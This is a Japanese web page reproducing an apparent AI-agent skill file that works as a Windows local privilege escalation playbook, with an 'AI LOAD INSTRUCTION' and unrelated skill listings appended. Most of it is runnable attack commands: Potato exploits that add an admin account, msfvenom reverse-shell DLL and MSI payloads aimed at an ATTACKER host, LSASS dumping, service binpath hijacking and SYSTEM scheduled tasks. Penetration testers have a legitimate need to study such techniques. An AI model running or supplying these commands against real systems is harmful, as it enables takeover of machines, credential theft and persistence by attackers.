windows-privilege-escalation
Windowsのローカル権限昇格プレイブック。低権限のシェルアクセス状態から、トークン乱用・Potato系エクスプロイト・サービスの設定ミス・DLLハイジャック・UACバイパス・レジストリのオートランなどを利用して権限昇格を試みる際に使用します。
description の原文を見る
>- Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.
SKILL.md 本文
SKILL: Windows ローカル権限昇格 — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: Windows 権限昇格の専門的テクニック。トークン操作、Potato ファミリー、サービスの設定ミス、DLL ハイジャック、AlwaysInstallElevated、スケジュール済みタスク悪用、レジストリ自動実行、および名前付きパイプ偽装を網羅しています。ベースモデルは微妙な権限の前提条件と OS バージョン固有の制約を見落とします。
0. 関連ルーティング
詳しく掘り下げる前に、以下の読み込みを検討してください:
windows-lateral-movement昇格後のほかのホストへのピボット用windows-av-evasionAV/EDR が権限昇格ツールをブロックする場合active-directory-kerberos-attacksホストがドメイン参加済みで AD レベルの権限昇格が必要な場合active-directory-acl-abuseACL の設定ミスによるドメイン権限昇格
高度なリファレンス
TOKEN_POTATO_TRICKS.md を以下の場合に読み込みます:
- Potato ファミリーの詳細な比較 (JuicyPotato → GodPotato の進化)
- OS バージョン固有のエクスプロイト選択
- 各バリアントごとの必要な権限とプロトコルの詳細
UAC_BYPASS_METHODS.md を以下の場合に読み込みます:
- UAC バイパステクニック マトリックス (fodhelper, eventvwr, sdclt など)
- 自動昇格バイナリ悪用
- 信頼されたディレクトリのモック トリック
1. 列挙チェックリスト
システムコンテキスト
whoami /all & REM 現在のユーザー、グループ、権限
systeminfo & REM OS バージョン、ホットフィックス、アーキテクチャ
hostname & REM マシン名
net user %USERNAME% & REM グループ メンバーシップ
トークン権限(重要)
whoami /priv
| 権限 | 昇格パス |
|---|---|
SeImpersonatePrivilege | Potato ファミリー エクスプロイト (§2) |
SeAssignPrimaryTokenPrivilege | トークン操作、Potato バリアント |
SeDebugPrivilege | LSASS ダンプ、SYSTEM プロセスへのインジェクション |
SeBackupPrivilege | 任意ファイル読み取り (SAM/SYSTEM/NTDS.dit) |
SeRestorePrivilege | 任意ファイル書き込み (DLL ハイジャック、サービス バイナリ) |
SeTakeOwnershipPrivilege | 任意のオブジェクトの所有権を取得 |
SeLoadDriverPrivilege | 脆弱なカーネル ドライバーをロード → カーネル エクスプロイト |
サービスとスケジュール済みタスク
sc query state= all & REM すべてのサービス
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v & REM 詳細なスケジュール済みタスク リスト
インストール済みソフトウェアとパッチ
wmic product get name,version
wmic qfe list & REM インストール済みパッチ
ネットワークと資格情報
netstat -ano & REM リスニング ポート + PID
cmdkey /list & REM 保存された資格情報
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul
2. トークン操作と Potato エクスプロイト
SeImpersonatePrivilege 悪用
サービス アカウント (IIS AppPool、MSSQL など) は通常 SeImpersonatePrivilege を保持しています。これにより、提示された任意のトークンを偽装できます。
| ツール | OS サポート | プロトコル | 注記 |
|---|---|---|---|
| JuicyPotato | Win7–Server2016 | COM/DCOM | 有効な CLSID が必要; Server2019+ でパッチ済み |
| RoguePotato | Server2019+ | OXID リゾルバ リダイレクト | ポート 135 で制御されたマシンが必要 |
| PrintSpoofer | Win10/Server2016-2019 | 印刷スプーラー経由の名前付きパイプ | シンプル、高速; スプーラーが実行中である必要があります |
| SweetPotato | 広範 | COM + 印刷 + EFS | 複数のテクニックを組み合わせ |
| GodPotato | Win8–Server2022 | DCOM RPCSS | 最新パッチ済みシステムで動作 |
# PrintSpoofer (最新のシステムの場合が最もシンプル)
PrintSpoofer64.exe -i -c "cmd /c whoami"
# GodPotato (最も広い互換性)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"
# JuicyPotato (レガシーシステム)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}
SeDebugPrivilege 悪用
# SeDebugPrivilege が有効な場合、LSASS をダンプ
procdump -ma lsass.exe lsass.dmp
# または SYSTEM プロセスに移行
# Meterpreter: winlogon.exe / services.exe に移行
3. サービスの設定ミス
クォートなしのサービス パス
# スペースを含むクォートなしパスを検出
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
パスが C:\Program Files\My App\service.exe の場合、Windows は以下を試します:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My App\service.exe
最初の書き込み可能な場所に悪意のあるバイナリを配置します。
弱いサービス権限
# accesschk (Sysinternals) を使用してサービス ACL を確認
accesschk64.exe -wuvc * /accepteula
# 確認対象: SERVICE_CHANGE_CONFIG、SERVICE_ALL_ACCESS
# サービスを再設定して攻撃者のバイナリを実行
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svc
書き込み可能なサービス バイナリ
# 現在のユーザーがサービス バイナリ パスに書き込めるかどうかを確認
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = フル、(M) = 変更、(W) = 書き込み → バイナリを置き換え
4. DLL ハイジャック
DLL 検索順序(標準)
- 実行可能ファイルのディレクトリ
C:\Windows\System32C:\Windows\SystemC:\Windows- 現在のディレクトリ
%PATH%のディレクトリ
悪用
# 見つからない DLL を検出 (Process Monitor を使用)
# フィルタ: Result=NAME NOT FOUND、パスが .dll で終わる
# 悪意のある DLL をコンパイル
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll
# 実際の DLL 場所の前に来る書き込み可能なディレクトリに配置
既知のファントム DLL ターゲット
| アプリケーション | 見つからない DLL | ドロップ場所 |
|---|---|---|
| 各種 .NET アプリ | profapi.dll | アプリケーション ディレクトリ |
| Windows サービス | wlbsctrl.dll | %PATH% の書き込み可能ディレクトリ |
| サードパーティ アップデータ | VERSION.dll | アプリケーション ディレクトリ |
5. ALWAYSINSTALLELEVATED
# 両方のレジストリ キーを確認 — 両方とも 1 に設定する必要があります
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# MSI ペイロードを生成
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i evil.msi
6. スケジュール済みタスク悪用
# 書き込み可能なスクリプトまたは見つからないバイナリを含むタスクを列挙
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type"
# タスク バイナリの権限を確認
icacls "C:\path\to\task\binary.exe"
# 書き込み可能な場合: バイナリを置き換え、タスク実行を待つ
# 見つからない場合: 予想される場所にバイナリを配置
PowerShell 経由のスケジュール済みタスク
# タスク作成が可能な場合 (低権限からはあり得ない、UAC バイパス後に便利)
$action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"
7. レジストリ自動実行
# 書き込み可能な自動実行場所を確認
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# accesschk を使用して権限を確認
accesschk64.exe -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /accepteula
自動実行エントリが書き込み可能なパスを指す場合 → バイナリを置き換えるか新しいエントリを挿入します。
8. 名前付きパイプ偽装
# サービス アカウントが名前付きパイプを作成し、SYSTEM プロセスをそこへ接続するよう欺く
# 接続してきたクライアントのトークンがその後偽装される
# PrintSpoofer は印刷スプーラーでこれを活用:
PrintSpoofer64.exe -i -c powershell.exe
カスタム名前付きパイプ サーバー (SeImpersonatePrivilege が必要):
# パイプ作成 → SYSTEM 接続を強制 → ImpersonateNamedPipeClient() → SYSTEM トークン
9. 自動化ツール
| ツール | 目的 | コマンド |
|---|---|---|
| winPEAS | Windows 列挙の包括的スキャン | winPEASx64.exe |
| PowerUp | サービス/DLL/レジストリ設定ミス確認 | Invoke-AllChecks |
| Seatbelt | セキュリティ重視のホスト調査 | Seatbelt.exe -group=all |
| SharpUp | PowerUp の C# ポート チェック | SharpUp.exe audit |
| PrivescCheck | PowerShell 権限昇格チェッカー | Invoke-PrivescCheck |
| BeRoot | 一般的な設定ミス検出 | beRoot.exe |
10. 権限昇格の判定木
Windows 上の低権限シェル
│
├── whoami /priv → SeImpersonatePrivilege?
│ ├── はい → Potato ファミリー (§2)
│ │ ├── Server2019+/Win11 → GodPotato または PrintSpoofer
│ │ ├── Server2016/Win10 → PrintSpoofer または SweetPotato
│ │ └── 古いバージョン → JuicyPotato (CLSID が必要)
│ └── SeDebugPrivilege? → LSASS ダンプ / プロセス インジェクション
│
├── サービスの設定ミス?
│ ├── スペース + 書き込み可能ディレクトリ付きのクォートなしパス? → バイナリ配置 (§3)
│ ├── サービスに対する SERVICE_CHANGE_CONFIG? → binpath を再設定 (§3)
│ └── 書き込み可能なサービス バイナリ? → 実行可能ファイルを置き換え (§3)
│
├── DLL ハイジャック機会?
│ ├── 検索パスに見つからない DLL? → 悪意のある DLL を配置 (§4)
│ └── %PATH% に書き込み可能なディレクトリ? → DLL を配置 (§4)
│
├── AlwaysInstallElevated が設定済み?
│ └── HKLM+HKCU = 1 → MSI ペイロード (§5)
│
├── スケジュール済みタスク悪用?
│ ├── SYSTEM として実行するタスクで書き込み可能なバイナリ? → 置き換え (§6)
│ └── タスクが見つからないバイナリを参照? → バイナリを配置 (§6)
│
├── レジストリ自動実行が書き込み可能?
│ └── 書き込み可能なバイナリ パス → 次のログイン/再起動時に置き換え (§7)
│
├── UAC バイパスが必要? (中レベル整合性 → 高レベル整合性)
│ └── UAC_BYPASS_METHODS.md を読み込み
│
├── 保存された資格情報?
│ ├── cmdkey /list → runas /savecred
│ ├── レジストリのオートログオン? → プレーンテキスト資格情報
│ └── WiFi パスワード、ブラウザ資格情報、DPAPI
│
└── 上記のいずれでもない?
├── winPEAS を実行して包括的なスキャン
├── 内部サービスを確認 (netstat -ano)
├── 機密ファイルを確認 (unattend.xml、web.config、*.config)
└── カーネル エクスプロイトを確認 (systeminfo → Windows Exploit Suggester)
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。